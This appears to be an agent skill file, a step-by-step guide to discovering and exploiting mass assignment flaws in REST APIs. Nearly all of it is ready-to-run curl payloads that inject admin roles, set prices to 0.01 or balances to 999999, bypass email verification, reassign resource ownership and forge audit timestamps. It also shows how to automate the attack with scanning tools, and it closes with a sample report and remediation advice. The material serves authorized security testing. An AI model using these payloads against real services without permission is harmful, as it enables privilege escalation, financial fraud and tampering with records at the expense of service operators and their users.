---
name: exploiting-mass-assignment-in-rest-apis
description: Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.
domain: cybersecurity
subdomain: web-application-security
tags: [mass-assignment, api-security, privilege-escalation, rest-api, autobinding, parameter-injection, owasp-api]
version: "1.0"
author: mahipal
license: Apache-2.0
---

# Exploiting Mass Assignment in REST APIs

## When to Use
- When testing REST APIs that accept JSON input for creating or updating resources
- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
- When testing user registration, profile update, or account management endpoints
- During bug bounty hunting on applications with CRUD API operations
- When evaluating role-based access control implementation in API-driven applications

## Prerequisites
- Burp Suite or Postman for API request crafting and interception
- Understanding of ORM auto-binding behavior in common frameworks
- API documentation or endpoint discovery through reconnaissance
- Multiple user accounts with different privilege levels for testing
- Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
- Arjun or param-miner for hidden parameter discovery

## Workflow

### Step 1 — Discover API Structure and Fields
```bash
# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates
```

### Step 2 — Test Privilege Escalation via Role Fields
```bash
# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# Test during registration
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
```

### Step 3 — Test Financial and Business Logic Fields
```bash
# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'
```

### Step 4 — Test Verification and Status Fields
```bash
# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'
```

### Step 5 — Test Relationship and Foreign Key Manipulation
```bash
# Change resource ownership
curl -X PATCH http://target.com/api/documents/123 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"owner_id":"admin-user-id"}'

# Assign to different group/team
curl -X PATCH http://target.com/api/projects/456 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"team_id":"privileged-team","access_level":"write"}'

# Modify created_at/updated_at for audit log manipulation
curl -X PATCH http://target.com/api/entries/789 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"created_at":"2020-01-01","created_by":"other-user-id"}'
```

### Step 6 — Automate Mass Assignment Testing
```bash
# Use Burp Intruder with field names wordlist
# Wordlist of common mass assignment fields:
# role, admin, isAdmin, is_admin, user_type, privilege, level
# verified, email_verified, active, banned, suspended
# balance, credits, price, discount, plan, tier
# owner_id, organization_id, team_id, group_id

# Python automation script
python3 mass_assignment_tester.py \
  --url http://target.com/api/users/me \
  --method PATCH \
  --token "Bearer USER_TOKEN" \
  --fields-file mass_assignment_fields.txt

# Nuclei mass assignment templates
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction |
| Autobinding | Framework feature that maps HTTP parameters directly to object properties |
| Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) |
| Denylist | List of forbidden fields (less secure than allowlist approach) |
| Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API |
| DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment |
| Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| Burp Suite | API request interception and parameter injection |
| Postman | API testing and collection-based mass assignment testing |
| Arjun | Hidden parameter discovery tool for API endpoints |
| param-miner | Burp extension for discovering hidden parameters |
| OWASP ZAP | Automated API scanning with parameter injection |
| swagger-codegen | Generate API clients from OpenAPI specs for testing |

## Common Scenarios

1. **Admin Privilege Escalation** — Inject `"role":"admin"` or `"isAdmin":true` in profile update to gain administrative access
2. **Price Manipulation** — Modify `price` or `discount` fields in order creation endpoints to purchase items at reduced cost
3. **Email Verification Bypass** — Set `email_verified:true` during registration or profile update to bypass verification requirements
4. **Account Takeover** — Modify `email` or `phone` fields to attacker-controlled values, then trigger password reset
5. **Subscription Upgrade** — Inject `plan:"enterprise"` in subscription update to gain premium features without payment

## Output Format

```
## Mass Assignment Vulnerability Report
- **Target**: http://target.com/api/users/me
- **Method**: PATCH
- **Framework**: Ruby on Rails (detected via X-Powered-By)

### Findings
| # | Endpoint | Injected Field | Original | Modified | Impact |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |

### Remediation
- Implement allowlist (strong_parameters) for all model update operations
- Use DTOs/ViewModels to decouple API input from database models
- Apply field-level authorization checks on sensitive attributes
- Log and alert on attempts to modify restricted fields
```
